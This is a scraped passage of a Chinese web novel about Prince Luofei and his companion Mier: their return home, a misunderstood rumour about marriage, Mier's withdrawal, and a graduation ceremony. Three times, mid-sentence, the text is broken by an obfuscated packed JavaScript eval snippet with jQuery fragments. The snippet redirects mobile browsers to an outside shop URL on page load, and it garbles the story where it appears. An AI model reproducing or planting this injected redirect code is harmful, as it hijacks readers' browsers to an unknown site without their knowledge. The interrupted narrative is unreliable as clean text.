前句话一出来,洛斐便开始点头。只要回艾瑟兰,其他的都好说。 “听你的。” 洛斐话音刚落,目光移向一旁的莱克身上,看得对方一时间怔愣,反问:“看什么?我又不是艾瑟兰王国的子民,也要回去吗?” “你误会了。”洛斐语气诚恳,“我想说,你要不要和我们一起去艾瑟兰王国,当是游玩,我会派人带你逛一遍。” “当然,米尔和我也可以陪你。”洛斐补充道。 莱克听见他的邀请,想也没想地拒绝,“不谢谢你的邀请,但我要,我想留在夏塞林,陪伴叔叔。” 得到婉拒,洛斐便不再追问,见莱克一副有话要说的模样,问:“你怎么了?” 莱克犹豫片刻,还是开了口:“如果是艾瑟兰王国,你们还是快些回去。” 洛斐的神情骤然紧张起来,皱了皱眉,问他:“不太平吗?为何我没收到消息。” 米尔也顾不得其他,一连串地说出来,“边疆不稳,旱灾来临?或是贵族又有了不满?” 莱克被两道目光同时盯着,一时语塞,看了他们一眼,迟疑地说:“圣西尔学院的毕业典礼,要到了。” 洛斐:“……” “……”米尔张了张嘴,只说了句,“莱克,不要一直待在屋里,多去别的国家游历。” 至少要分清事情的轻重缓急。 他们先回了夏塞林。 送莱克回家是第一件事,第二件事便是回凯勒布的城堡,向埃迪和凯勒布告别。 艾瑟兰离汐莱纳希不远,但也不是时常往来的距离。借着这次出来的机会,洛斐便让埃迪不必急着回去,而是留下来陪陪凯勒布。 当然,汐莱纳希是米尔居住过的地方,也是艾琳娜夫人生长的故土。洛斐深知他对母亲的思念,便提议他多留几日,只要最后回来就好,不必着急启程回艾瑟兰。 埃迪答应了,米尔拒绝了。 “你为何不多待几日,下次来汐莱纳希不知道要等到何时。”洛斐朝着一旁倚着车窗闭目养神的米尔扇风,问道。 “我放心不下你。”米尔眼睛也没睁地开口。 “我又不是小孩。”洛斐别开目光,有些赫然地反驳。 米尔依旧闭着眼,轻声开口:“不论多大年龄都是孩子,不是殿下亲口说的吗?” 洛斐想起他们被困在布雷克伍平原时的对话,他好像的确说过诸如此类的话。 先前的话,他不好反驳,便收回视线,继续给米尔扇风,对方微微皱眉,倒是也不拒绝。 夏末燥热,也许是归心急切,洛斐感觉此路比去汐莱纳希时要漫长,怎么也走不完。 他凑到米尔眼前,见他眼睫轻颤,便知道他没有睡着,开口搭起话来。 “米尔,你累不累?” “米尔,你饿不饿?” “米尔,你困不困?” …… 米尔翻了身,转了方向,目光看向洛斐,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17707444|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' :“不累,不饿,在殿下和我说话前是有点困倦。” 米尔偏着头靠向车壁,身旁的凉风未断,他的睡意也减了半,随口问了句,“需要交给国王的报告,殿下完成了吗?” 而后,身旁的凉风便断了,洛斐顿时不说话了,别开脸,掀开帘子看向车外。 要交的报告定然是没有的。 他不是懒惰的人,如果有内容可写,他断然不会交给莱因哈一张白卷。 但他此次来汐莱纳希当真是什么也没做,非要说的话,做侍从算是唯一的正事,但如果告诉了莱因哈特,恐怕此行便是洛斐最后的旅程了。 洛斐原本高昂的兴致骤然消失,只是默默地任由热气扑面,顺便思考该如何悄无声息地将巡访报告,在莱因哈特面前揭过去。 米尔好一会没听见洛斐开口,便知道对方是担忧起报告。他笑了笑,朝洛斐说:“殿下不必担忧,自然是陪伴我来的汐莱纳希,便不会让你空手而归。” “不让我空手而归?”洛斐猛地回头,语气带着几分莫名的期待。 “我给你准备好了。”米尔不咸不淡地开口。 洛斐欣喜地往他身边靠着,问:“你什么时候帮我完成的?” 米尔头也不抬地回他:“在汐莱纳希城堡告病躲藏,无聊的时候。” 洛斐怔了怔,试探询问:“你……放在哪里了?” “应当是放在那间房的桌子上。”米尔微微蹙眉,不解地问:“你替我装的行囊,怎么会不知道?” 米尔问完,忽地抬眸看他,张了张嘴,“你不会是没拿?” 洛斐愣了。 他记得桌上那些纸张。 他甚至还拿起来看了一眼,汐莱纳希和凯勒布的名字映入眼帘,洛斐便没有欲望继续看下去。 他当时抬手问了米尔一句,未得到准确的回应,洛斐便将它们一律视为米尔随手写下的废纸。 “我看的时候……以为是垃圾,便放起来了。”洛斐说得犹豫。 “全部放起来了?” 米尔皱了皱眉,懊恼他没有交代清楚,至少要嘱咐洛斐将它们带回来才对。 汐莱纳希即便是艾瑟兰的友邦,可那些东西留下那里,多少也有些不安。 米尔纠结犹豫着。再次返回汐莱纳希城堡也不现实,拜托洛缇帮忙倒是可行,但他不知道对方何时归来。 洛斐见米尔神情忧愁,忽地开口:“不是……放起来了,扔了。” “扔了?”米尔眼眸微动。 “嗯,扔了。”洛斐回答得坚决,但视线却不自觉地移开了,“就算是你随手写下的东西,也不该放在异国他乡。况且,那是城堡客人住的房间,你的物品断然不能留给旁人。” 的确是扔了。 但洛斐也是扔得随心所欲。 只留下了带有他和米尔名字的那张,其余则是有多远仍多远。 洛斐拿起仅剩的那张,展示给米尔,“就随手拿了一张回来。” “殿下真是越来越聪明了。”米尔顺势称赞米尔,但也没忘记提醒他,“这张报告殿下可以直接用,其他的您便慢慢完成。” “知道了。” 洛斐将那张报告放回去,见米尔又要垂首闭眼,便刚忙问道:“圣西尔学院的毕业典礼,你会去吗?” “……我想邀请你。” 38. 谣言 米尔任由他握着手臂,抬起眼问他,“邀请?殿下也会去圣西尔学院的毕业典礼?” 据他所知,圣西尔是艾瑟兰王国的顶级学院,哪怕是放于各国依然毫不逊色。 它的毕业典礼也一向盛大隆重,就连奖项都是莱因哈特国王亲自授予。 洛斐虽身为王子,但在典礼上并无固定职责,是否出席全凭他的意愿。 按照洛斐的性子,他必然选择不去才对。 “圣西尔学院先前的毕业典礼,我去不去都无关紧要。”洛斐顿了顿,扯着他的衣袍没松手,“但这次我得去,不是作为王子,而是学生。” “原来如此。” 洛斐见米尔神色如常,语气也淡漠,甚至又要侧身继续歇着,不由地问:“你不好奇我邀请你做什么?” 米尔被他半强迫地拽起身,无可奈何地坐直了,顺势问他:“那么殿下邀请我做什么?” “我邀请你给我颁奖。”洛斐说着,扯了扯他的袖子,顺便抚平了褶皱,抬眼满是期待地看向米尔。 “颁奖?”米尔本就带着倦意,听眼前的洛斐讲完,更加迷糊了,开口时语气带着几分不确定,“据我所知,圣西尔学院的颁奖一直都是莱因哈特国王亲自主持,不是吗?” “你说得很对,他们都是由父王亲自颁奖,但我不行。”洛斐不满地解释,“抛开身份不谈,父亲亲自给儿子颁奖,于礼不合,更何况是国王和王子的身份。” 米尔略微犹豫。 圣西尔学院的毕业典礼对于艾瑟兰来说不是小事,唯一的王子参加,更是引人注目,非同寻常。 纵使米尔受人爱戴,也没有参加的身份。 洛斐见米尔垂首,自然知道他在犹豫什么,意有所指地开口:“你也知道的,艾瑟兰的子民向来好热闹。他们要是知道贵为王子获奖时却无人颁奖,恐怕流言蜚语在所难免。” “你不必担忧,参加了便好,其余的一切我来想办法。” 米尔听着洛斐斩钉截铁的回答,笑着反问:“殿下知道我担忧什么?” “当然。”洛斐答得异常干脆,“你只需回答去就行了。” 马车晃荡,米尔扶着洛斐的肩膀,微微颔首,算是答应了。 “殿下的邀请,是我的荣幸。” 得到肯定答复后,洛斐明显松了口气,语气也跟着轻快下来,“既然答应了便不能反悔。你要是不想看到我谣言缠身,万人议论便务必到场。” 米尔被他逗得笑了笑,开口:“谣言缠身?谁敢对你议论纷纷?” 洛斐看了他一眼,认为对方先前在艾瑟兰时不常露面,应当不明白,认真地解释,“艾瑟兰子民最常议论的便是王室轶闻,他们并不在乎真假,真伪并不重要,全当是消遣。因此,我必须时时刻刻管理好自身。” 米尔听洛斐说完,看向车外连绵不绝,座座相依的山脉,暖风吹拂的同时,他随口说:“的确一开始毫无真实性,就像我们的谣言,对吗?” 暖风将一半的灰尘吹了进来,洛斐微微眯眼,隐约见米尔的额发沾染了灰尘,垂首去找手帕,认真回答:“你说得对,不仅是一开始,哪怕是以后,也完全是毫无可能性的事情。” 洛斐将对方额发上的灰尘扫下来,抬手擦了擦米尔倚着的车壁,确保干净后,语气不咸不淡,“但也不是完全不能理解,传播谣言都算得上是种消遣的话,可见子民们的生活极其单调,这才是该着重解决的事情。” 米尔见洛斐莫名将话题扯到了政治上,一时间没有搭话,而是等了好一会,才淡淡地开口:“谣言倒也并非全然无用,如果不是它们,我和殿下大约也不会如此相熟。” 这倒也是,洛斐不反驳。 如果谣言不是米尔要成为王子,恐怕洛斐不会主动打扰并且有了后面的一系列。 认识久了,起初信以为真的谣言现在看来,假的不像话。 米尔的性子,不要说和他争抢王位,就是将王位双手送到他眼前,他也只会看一眼,而后默默地送回来。 惹他不高兴了,还会因此偷偷地给你使绊子。 洛斐伸着懒腰,随口回答:“也对,只是那谣言也太离谱,也只有那时候的我会信……” “我们一开始就是伴侣,以后必定会结婚。”米尔顿了顿,抬眼看着洛斐,笑着说:“毫无根据的谣言,现在听起来的确很荒唐。” 洛斐的手臂猛地垂下来,愣了愣,而后看向米尔,不解地问:“你说什么?” 米尔见他神色茫然,也明白了好像有些不对劲,不再依靠车壁歇着,而是坐直了,试探地反问:“殿下想说什么?” 洛斐仅仅愣了一瞬,见米尔不再侧身依靠,连忙将软毯塞到他身边,像是逗他似的开口:“早说你不要总是待在卧房,你这都是听的什么谣言,或是你开玩笑的,对吗?” 米尔看了他一眼,而后垂着头,一言不发。 “不用羞怯,也不必在意我的想法。”洛斐说完,相当坦然地拍了拍他肩膀,“我的想法和父王母后,或是子民们的都相同。你很适合做王子,也很适合做我的哥哥。” 米尔抬手将洛斐搭在他肩膀的手臂拿了下来,“殿下以为的谣言是……我要成为王子?” 无论是艾瑟兰的赛马会乌龙,还是在汐莱纳希的游历,洛斐始终将谣言和王位挂钩,现在听米尔主动问起来,郑重地点头,“难道不是吗?” 米尔深深地看了洛斐一眼,见对方神色紧张,叹口气,轻轻地笑了一下,语气依旧不带起伏,“殿下放心,王位对我的吸引力比不上……小白和小黑的一根毛发。” 米尔向来情绪起伏不大,但也不是善于隐藏情绪的性子。 好在待的时间久了,洛斐也能将他的情绪猜得大致相同。 对方刚刚的强颜欢笑,怎么看也不对劲。 洛斐凑到米尔眼前,笑意敛起,眼底带着担忧,垂眸问:“你怎么了?难受?是不是晕车?” “要不要停……” 洛斐话音未落,车子便忽地地停住了,没等他反应过来,又紧接着传来一阵细碎的交谈音。 洛斐下意识拦住要下车的米尔,将突如其来的拦路人视为劫匪。 他微微探着身子,摸向腰后的折刀,看清眼前的一群人是谁后,略微诧异地开口:“母后?” 洛斐环视一周,熟悉的道路,熟悉的城堡,就连墙壁上的绿藤蔓也未有变化。 许久不来,他连回家的路都忘记了。 洛斐转身朝米尔道:“米尔,到家了。” “好的,殿下。”米尔只是微微颔首,垂着头回了句客套话,便自顾自地下了车。 洛斐怔愣地看着他的身影。 真要去卡斯弗那里看看了。 薇洛希带人在城堡门口接他,洛斐自然是难掩喜悦的,拽着米尔就要跑过去,弯腰拥抱薇洛希,耳边立即传来熟悉的训斥,“你们还知……?” 莱因哈特像是知晓此时此地不适合谈论其他,便强撑温和地改口:“回来了?” “是的,回来了。”洛斐还没忘记他们是如何离开,回答得犹豫。 莱因哈特不再讲话,一旁的薇洛希见状,将洛斐和米尔一并揽住,“回来了便好,我让人准备了餐食,先……” “先去议事厅。”莱因哈特打断了薇洛希的安排,补充道:“我需要知晓你们游历的收获。” 洛斐的笑容顿时收敛了,笑不出来了。 莱因哈特一旦提起议事厅,便说明即将到来一阵训斥和数不清的报告惩罚。 洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17713628|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 斐转头看向米尔。 这种情况,哪怕洛斐累得站不稳,也阻止不了莱因哈特。但米尔一开口却还有回旋的余地。 放在平日,米尔余光看见他期待的目光,便二话不说地帮他。 只是今日有点反常,米尔不仅没替他解围,甚至走了神,直到莱因哈特问了第二遍,他才回了神,回了句,“好的,莱因哈特陛下。” 洛斐盯着身旁的米尔,蹙了蹙眉。 米尔的情绪,他能猜到八九分,唯独今日,对方的情绪明显不高,也许是落在了那两分里,他却怎么也猜不透,摸不明。 薇洛希和莱因哈特走在前面,洛斐便不好和米尔悄悄谈话,更何况对方目不斜视,生怕和他对视。 直到踏入议事厅,洛斐也没能问明白,只得到了莱因哈特迎面而来的怒气。 “你们不是幼小不懂事的孩子了,去汐莱纳希那么大的事情,为何连句话也不讲?” “父王,你怎么知道的?”洛斐坐下后,率先开口问他。 莱因哈特抬手让米尔也坐下,转身看向洛斐,语气难掩不快,“我不知道的话,你会告诉我?还是说要一直瞒下去。” 当然是选择后者,洛斐不再和莱因哈特争论,而是略带求救意味地看向薇洛希。 一旁的薇洛希也罕见地开了口,站在了莱因哈特这边。 “你们要去汐莱纳希,总该和我们说一声才是,那么远的路程,你们又去做那么危险的事,总要有人帮忙。” “汐莱纳希是艾瑟兰的友邦,离得也不远,没有你们想得那么艰难。”洛斐朝薇洛希开口,语气满是安抚,“母后,不必担忧,我们不是成功了吗?” 洛斐说完,又伸手揽住一旁的米尔,搂着他的肩,“当然,游历能顺利结束,多亏了米尔的帮助,他一开始便答应了陪我私自去汐莱纳希游历。” 莱因哈特语气依旧不悦,但想到两人平安归来,语气稍微松些,“米尔大概是不会和你胡闹的,你怎么将人带走的。” 一直在听的米尔不动声色地侧了侧身,拉开了半步距离,朝莱因哈特和薇洛希说:“殿下做事很可靠,各方面成长很大,顺利完成怎么也离不开他的努力。” 洛斐微微垂眸,握了握空荡荡的手掌,而后扬起头说:“好了,父王。我们准时回来了,不要总是纠结于开始,我们看重结果,不好吗?” “这是需要夸奖的事情吗?”莱因哈特盯着他们,厉声反问,转而见两人脸色皆不好看,补充了一句:“以后不准独自离开,如果要去,也必须和我们说清楚才能出发。” “明白了吗?”莱因哈特见他们各有各的呆愣,又叹着气重复了一遍,“你们……明白了吗?” “父王,我明白了。” “明白了,莱因哈特陛下。” 洛斐回答完,余光瞥向一旁的米尔,对方显然不是笑的模样,与其说是难过,倒更像是怔愣。 洛斐神色微动,也跟着不太高兴。 怔愣? 难不成是离开汐莱纳希太快?那里怎么都是米尔久违的故土,是承载着他和母亲回忆的地方,却因为陪他而早早地回了艾瑟兰。 洛斐懊恼地抿抿唇。 他要是在汐莱纳希多留几日便好了。 日常教训结束,洛斐知道接下来便该谈起他的报告了,佯装镇定地坐着,脑海里全是未完成的游历报告。 薇洛希去给他们准备餐食,莱因哈特还没来得及询问游历报告的事情,米尔便率先开了口,“陛下,我突然有些头晕,只好失陪了。改日再向您赔罪。” “你快去休息。”莱因哈特一点没耽误,当即喊来医师,要将人送回去诊治。 洛斐见米尔抬手扶额,脸色真的不太好看,站起身,“我也去。” 39. 自由 莱因哈特拿起羽毛笔,准备看看洛斐的报告,一转身便看见他匆忙地往外跑,开口质问:“你又跟着跑去做什么?” “跟着米尔。”洛斐头也不回地说道。 莱因哈特微微抬手,议事厅周遭候着的骑士便同时上前阻拦。 洛斐不得已摆摆手,转身朝莱因哈特示弱,“父王,路途遥远,我们难免头晕不适,我先歇息,以后再和您汇报,如何?” 打商量的口吻仅仅维持一刻。 莱因哈特刚半信半疑地让骑士让路,洛斐便没有犹豫地往外走去。 洛斐离开议事厅,廊道里人来人往,侍从们匆匆忙忙地与他颔首问候。洛斐一边回应,一边环顾四周。 没有米尔。 议事厅的隔壁便是休息室,米尔应当去了那边歇息,等待医师来诊治才对。 眼下,不仅休息室空无一人,连四周的侍从们也对此毫不知情。 洛斐问完最后一位侍从无果,便准备去米尔的卧房看看。 情绪骤变,身体不适,哪一样都不是放任不管的小事。洛斐得去确认情况,得知米尔无碍才能彻底安心。 “洛斐,你去哪里?”薇洛希端着满是点心的碟子,喊住就要离开的洛斐。 薇洛希和莱因哈特不同,哪怕一时半会解释不明白,也不会拽着你不放开,而是开导你,让你更清晰地看清内心。 于情于理,洛斐都不能置若罔闻。 洛斐转身走向薇洛希,“米尔身体不适,我不放心,去看看他。” “米尔?”薇洛希将碟子递给身边侍从,语气淡淡的,“我取碟子时正好碰见医师在休息室里替他诊治,说是无碍,他便回房歇息了。” “无碍?”洛斐是不信的。 米尔除却睡眠不好,其他地方鲜少有恙。 “看着是无大碍,但兴致不高,状态不佳也是真的。” 薇洛希回想着米尔方才的状态,的确和以往有异,但真要论起哪里不同,凭她对旧友之子的了解,又无法讲出来。 “真的?” “你母后学医时,你还没出生呢。” 薇洛希抬眼见洛斐一副你说完,我就离开的表情,试探地问他:“你和米尔变得那么熟悉?” “还好,一起回来的同伴身体不适,去看看也正常。”洛斐顿了顿,继续补充,“母后,我们说开了,关于……那个谣言。” 薇洛希视线缓缓移向洛斐,不解和惊愕溢于言表,愣了一瞬,“你和米尔直接说了?” “是的。”洛斐微微颔首,搞不清她诧异的来源。 薇洛希让身后的侍从先去忙碌,她则是抬手招呼洛斐垂首,谨慎地问:“米尔……什么反应,你和他相处得还好吗?” 洛斐先是乖巧地垂首,而后仔细听薇洛希讲完,眉头越锁越深。 一开始他的确不想让米尔做王子,表现是不太友好,但也不至于让薇洛希如此惊讶。 像是第一次见他扶起剑的那种程度。 洛斐不解归不解,依然微微弯腰,斟酌着言语和薇洛希说:“母后,你为何如此惊讶?米尔并没有什么反应,也并不太在意,我们的关系和先前一样,只是变得更亲密。” “米尔……也不在乎?” “当然,那不是理所应当的事情吗?”洛斐不解地开口。 薇洛希和莱因哈特尽管从未主动提起,但行动里也表现了对米尔的满意,现在却如此惊讶。 洛斐犹豫片刻,问了句:“母后和父王会……拒绝吗?” “自然是……不会的。” “我和你父王支持你的所有想法与喜好,也祝愿米尔能幸福。” 薇洛希表情复杂,还带着久久未消散的诧异,像是常常开玩笑的话忽地成了现实。 洛斐见她表情有异,忙问:“母后,你脸色不太好,我喊医师来给……” “不用,单纯是一时……高兴。” 洛斐先是怔了怔,而后也跟着笑起来,“那我先去找米尔,母后记得帮我和父王说些好话。” “你稍等。”薇洛希连忙将人扯回来,认真交代:“无论你们变成了什么样的身份和关系,都要记得给对方些时间和余地。” “你和米尔讲完如此重要的大事,总要给他些时间来缓和才对,让他独自待一待,也是应当的。” 洛斐本来想开口辩解,但脑海中浮起米尔怔愣的表情和逃离的背影。 难道真是他太黏人了? 洛斐听着薇洛希满是教导的语气和口吻,松口气,暂时妥协了,“那请母后替我去看看米尔?给他时间可以,但得保证他安全。” “当然会的,不用你嘱咐。”薇洛希见洛斐还算听话,颇为满意地说:“你先回议事厅,去见你父王,好好地和他讲话,顺便将欠下的报告也一并完成。” “母后,我忽然也有些不适。”洛斐记起他说给莱因哈特的借口,佯装不适地扶着前额,看向一脸了然的薇洛希,“我先告辞。” 薇洛希看穿了他的小计谋也不会拆穿,而是温言温语地嘱咐,“先歇息是应当的,但不能敷衍你父王。” “好的。”洛斐开口应道,在离开薇洛希视线前,忽地回头说:“母后,别忘了……” 薇洛希接住他的话,“看望米尔。” “谢谢母后。” 报告终归推辞不了,洛斐索性不躲了,他总不能为了些缠人的报告而耽误看望米尔。 尽管米尔大概并不欢迎他。 从汐莱纳希回来后,米尔便待在他卧房,日日夜夜地窝着,只喂养着小黑和小白,绝不待客,尤其是不接待洛斐。 借口还是先前那些,变也不变。 病了。 累了。 …… 大有一夜退回生疏时的架势。 有了薇洛希的提点,洛斐也不能再如先前一样死缠烂打地追着米尔不放。 洛斐思索再三,将一日三次改成了一日一问,一日一拜访,顺便完成报告。 当然,依旧被拒绝。 报告都完成了,和莱因哈特的汇报也顺利结束了,但米尔,洛斐是一次也没见到。 就连薇洛希都带来了好消息和坏消息,好消息是米尔的身体无大碍,坏消息是米尔谁也不见。 米尔闭门不待客不稀奇,但如此长久地不见人,实在不正常,洛斐更不敢轻举妄动了。 秋日渐凉,米尔依然缩着不出来,倒是远在汐莱纳希的埃迪突然回来了。 洛斐翻阅着莱因哈特交代的报告文书,抬眼看向站在一旁不讲话的埃迪,随口问:“回来了?” “玩得……”洛斐还没说完,余光便见埃迪已然弓着身站在那里,直直地垂眸,不讲话。 “你这是怎么了?”洛斐忙问。 埃迪头也不抬,闷闷地开口:“我将殿下一个人丢下,怎么罚都行。” “罚你?”洛斐撑着书桌,语气自然,“你们是伴侣,出游本就是再正常不过的事。真要说受罚,也该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727585|203838||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我们占用了你的休息时日才对。” “况且我们相识那么久,你认为我会因为这点小事而责罚你?” 听见洛斐语气变了,埃迪急忙抬起头,辩解道:“不是的,我方才看见米尔大人在马厩喂小白,但魂不守舍的,我以为他是气恼了。” 洛斐手指一顿。 他下意识朝马厩的方向看了一眼,意识到离得很远,什么也看不到,便收回了目光。 “米尔应当是在汐莱纳希累到了。”洛斐说得轻描淡写,“不必放在心上,以后知道了,他会比你更加懊恼没回应你的问候。” 埃迪自然知道米尔绝不是故意而为,只是见洛斐依旧端坐着,神色不改地翻阅报告,有些不解,犹豫地开口:“殿下不去找米尔大人?” 不对劲。 先前的洛斐恨不得缠在米尔身上,去了汐莱纳希更甚,两人甚至没有单独行动的时候。 怎么会放任对方魂不守舍。 “要给对方一点自由和时间,不是吗?”洛斐说着,视线重新落回纸面上,语气听起来很随意,“近日,艾瑟兰有什么活动吗?” “或者是宴会邀请?” 埃迪怔了怔,认真想了好一会,“秋日赛马会取消了,莫尔顿公爵的狩猎邀请被莱因哈特国王回绝了其余的,便没有了。” 洛斐皱了皱眉。 平时他越是嫌烦嫌累,恨不得全推了,活动越像是流动的河水,能将人淹没。他想要活动了,反倒是干干净净,全然不见了。 埃迪以为洛斐是像往常那样厌烦活动繁多,便宽慰道:“殿下不必挂心,近日没什么活动,薇洛希王后方才还让我嘱咐您多休息。” “真的没有?”洛斐微微抬眼,试探地问。 “目前是没有的。” 洛斐稳稳颔首,“……很好。” 一旁的埃迪以为他终于要专心批报告了,转身准备离开,却见洛斐又抬起头,问他,“我们刚回来,办一场接风宴会,你觉得如何?” 埃迪回着:“陛下和王后早就开始筹备了,大约是在秋末,为您和米尔大人一起设宴。” 秋末?夏末才刚刚离开,等到那时候未免太晚了。 洛斐见这不成功那也不成功,索性不佯装随意地扯话题了,直白地问:“我直接以王室的名义来举办宴会,邀请米尔来参加,能成功吗?” 埃迪怔愣的同时,认真地思索着可行性,“如果莱因哈特国王不反对,薇洛希王后乐意协助,贵族们也欣然配合,兴许能成功。” 洛斐稍稍抬眸,“兴许?” 埃迪没辙地回答:“是否成功,全看米尔大人的想法。” 说来说去,想尽办法,也依然得看米尔愿不愿意来,如果他不愿意来,就算是动用莱因哈特也无计可施。 但洛斐隐隐觉得,再等下去,他们怕是真要退回那年秋末的状态了。 同住一座城堡,但形同陌路。 洛斐猛地放下羽毛笔,懊恼像是潮水般翻涌而来,他当时就该将人拽回来,问明白才对。 米尔的性子,时间越久缩得越远。 “那些热闹的活动暂且不谈,倒是还有一个,兴许能帮殿下见到米尔大人。” “圣西尔学院的毕业典礼?”洛斐先他一步开口。 埃迪果然点了点头。 “我是邀请了米尔,但是以他现在的状态,估计不会来的。”洛斐刚刚燃起的希望种子顿时枯萎。 “如果是旧友的婚礼邀请呢?” 40. 软化 圣西尔学院的庭院铺满秋日的碎光,红毯从正门一路延伸至主楼台阶,两侧是金黄色菊花坛。 庭院里来来往往的青年全是艾瑟兰的精锐,不问出身,只看能力。 精英云集,圣西尔学院的毕业典礼自然隆重。 今日的阵仗,倒是比往年更盛。 从焕然一新的陈设便看得出来,唯一不变的是炎热的天气。 明明入了秋日,日头却毒得像盛夏。 洛斐微微垂首,看了眼周遭无人,按了按发烫的后颈,缓解肌肤的阵阵灼热。 往年他只是被莱因哈特喊来充数的王室花架子,来与不来,甚至是晚来,都无关紧要。 但现在不行,不仅是他要毕业了。更重要的是,米尔至今仍未给他答复。 洛斐早早地来等待,却依旧未见米尔的身影,甚至还被烈阳晒得头脑发胀,视线模糊。 洛斐正垂眸思索着。 是不是米尔忘记了那不算正式的邀请,或是有了其他安排而有所耽搁。 早知道如此,就该直奔米尔卧房,而不是跑来毕业典礼傻傻地等着。 洛斐越想越懊恼,忽地坐起身来,身旁身着华服的贵族们见状,一时惊动,纷纷欠身问候。 “殿下,您毕业快乐,能见证这一刻是我等的荣幸。” 洛斐微微颔首,礼数周全。 他心知这些贵族大多是来看望自己孩子的,便不多言,只说了句“同喜”算作回应。 那些一开始纷纷前来搭话的贵族们,便顺着洛斐的话告了辞,各自散开去寻找自家儿女去了,唯有一位仍留在原地,不离开。 洛斐不解地看了眼那人,服饰朴素,稚气未脱的相貌,胸口别着一枚徽章,是连洛斐也一时无法辨认的纹样。 洛斐只当是偏僻领地的贵族子弟不明白流程,顺势询问:“你需要帮助?” “殿下,我有些问题,是……” 那人开口时,语气支支吾吾,口吻也不大对劲。 洛斐收了笑,说:“你有什么困难,直说便好,我会尽力为你解决。” 洛斐隐隐不安,他许久不在艾瑟兰,要是真有乱子,莱因哈特和薇洛希瞒着他也不无可能。 洛斐等着他说出什么惊天大事,对方却犹犹豫豫地开了口:“殿下,可有婚配的意愿?” 洛斐愣了一瞬,“?” 秋讯,纷争,他都想过,唯独漏掉了这一件。 虽说艾瑟兰并无禁令禁止贵族过问王室婚事,但也从未有人像这样如此直白地向洛斐提起来。 洛斐稳了稳心神,见对方说完也是一脸忐忑,便知道询问婚事绝对只是由头,真正的麻烦还在后面。 洛斐斟酌着语句,不咸不淡地开口:“婚事我并无打算。但你的问题,我大概能替你解决。” 对面的青年揪着袖口,深深地叹了口气,一鼓作气地说:“我来自克兰德家族,是父亲们的小儿子。” “父亲?克兰德公爵和莫斯里骑士?”洛斐问。 “是的。”青年继续补充道:“父亲的身体日渐衰弱,常常四处求医,无暇顾及领地事务。再加上北方地区气候骤变,收成也大不如前。” 洛斐微微蹙眉,问他:“你是想用和王室联姻来解决领地问题?” 青年顿了顿,又顺势点点头。 洛斐算是听明白了来龙去脉,但依旧对此略微不解。 艾瑟兰的律例明明白白,领地遭受灾害,王室定会援助,怎么就到了让一个晚辈用婚约来换出路的地步。 洛斐问他:“求援书,你们递过了吗?” “是的,递交了三次,但物资和粮食迟迟不来。”青年语气带着些愤愤不平。 洛斐沉默了片刻。 莱因哈特对王国各地事务向来上心,从早到晚一件件亲自过目,绝不会如此疏忽,无故拖延物资。 洛斐看向依然谨慎且紧张的青年。北方领地离温斯洛不算近,对方特意赶来,想必是无可奈何。 “王室会帮你解决,我也会亲自着手,不必担忧。”洛斐抬眸看向尚未开始筹备的颁奖台,轻声宽慰他,“你要是想回家,我派人护送你,若是想先留下,也随你。我同样会派人带你逛一逛温斯洛。” “多谢殿下好意,不劳烦了。”青年侧过身,目光落向远处,“我姐姐也是圣西尔学院的学生,她会来接我的。” 对方有人接应,不至于流落街头,洛斐便不再强求,而是认真开口:“请先不要告诉克兰德公爵和莫斯里骑士,我很快便会去调查,解决。” 青年点了点头,抬眼看向他的时候顿了一瞬。 洛斐见他惊讶,面露不解。 他也没有不堪到使人诧异的程度,还没来得及开口问他怎么了,身后便传来一道熟悉的声音,不似平时的波澜不惊,倒像是急匆匆地赶来的,“典礼还没开始?” 洛斐倏地转身,见米尔站在几步开外,衣袍微乱,撑着身旁的花坛,大口喘着气。 许久不见面,洛斐来不及高兴,快步走去,弯着腰去看他的脸,问:“米尔?你怎么来了?” 米尔看了他一眼,语气无奈,“殿下是明知故问还是逗弄我,不是你邀请我的吗?” 洛斐递给他随身携带的手帕,重新问了一遍,“我是说,你怎么来得如此匆忙?” “偶遇了旧友。”米尔站直了身,呼吸渐渐平了下来。 他抬眼看向台上,圣西尔的院长正在讲话,典礼已经开始了,而洛斐还站在他身旁,一步也没动。 米尔不解地问他:“殿下,你不用前去领奖吗?” 洛斐还愣着,没想明白米尔为何忽然恢复如常了,但被对方一问,顺口就答:“你没来,我不想去。恰好遇到了需要帮助的人。” 洛斐这才想起来,转头看向刚才的位置,“对了,我给你介绍……” 洛斐视线移向那边时,座位空空荡荡,早就没了那人的身影。 洛斐见人未打招呼便离开了,只好让米尔先坐下,说:“奇怪,转眼便没影……” “……你好。” 